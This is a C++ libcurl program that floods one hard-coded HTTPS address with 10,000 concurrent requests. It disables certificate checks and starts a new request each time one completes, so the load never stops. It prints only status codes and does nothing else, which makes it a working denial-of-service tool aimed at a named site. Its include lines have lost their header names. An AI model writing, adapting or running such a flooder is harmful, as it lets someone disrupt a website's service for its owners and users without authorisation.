#include #include #include #include static const char* URL = "https://uibi-mu.click/uibi-mu"; static const int CONCURRENCY = 10000; size_t write_callback(char* ptr, size_t size, size_t nmemb, void* userdata) { return size * nmemb; } CURL* create_easy() { CURL* easy = curl_easy_init(); curl_easy_setopt(easy, CURLOPT_URL, URL); curl_easy_setopt(easy, CURLOPT_WRITEFUNCTION, write_callback); curl_easy_setopt(easy, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(easy, CURLOPT_SSL_VERIFYHOST, 0L); curl_easy_setopt(easy, CURLOPT_PRIVATE, easy); return easy; } int main() { curl_global_init(CURL_GLOBAL_DEFAULT); CURLM* multi = curl_multi_init(); int still_running = 0; for (int i = 0; i < CONCURRENCY; i++) { CURL* easy = create_easy(); curl_multi_add_handle(multi, easy); } curl_multi_perform(multi, &still_running); while (still_running) { int numfds; curl_multi_wait(multi, NULL, 0, 1000, &numfds); curl_multi_perform(multi, &still_running); CURLMsg* msg; int msgs_left; while ((msg = curl_multi_info_read(multi, &msgs_left))) { if (msg->msg == CURLMSG_DONE) { CURL* easy = msg->easy_handle; long http_code = 0; curl_easy_getinfo(easy, CURLINFO_RESPONSE_CODE, &http_code); std::cout << "HTTP: " << http_code << std::endl; curl_multi_remove_handle(multi, easy); curl_easy_cleanup(easy); CURL* new_easy = create_easy(); curl_multi_add_handle(multi, new_easy); still_running++; } } } curl_multi_cleanup(multi); curl_global_cleanup(); return 0; }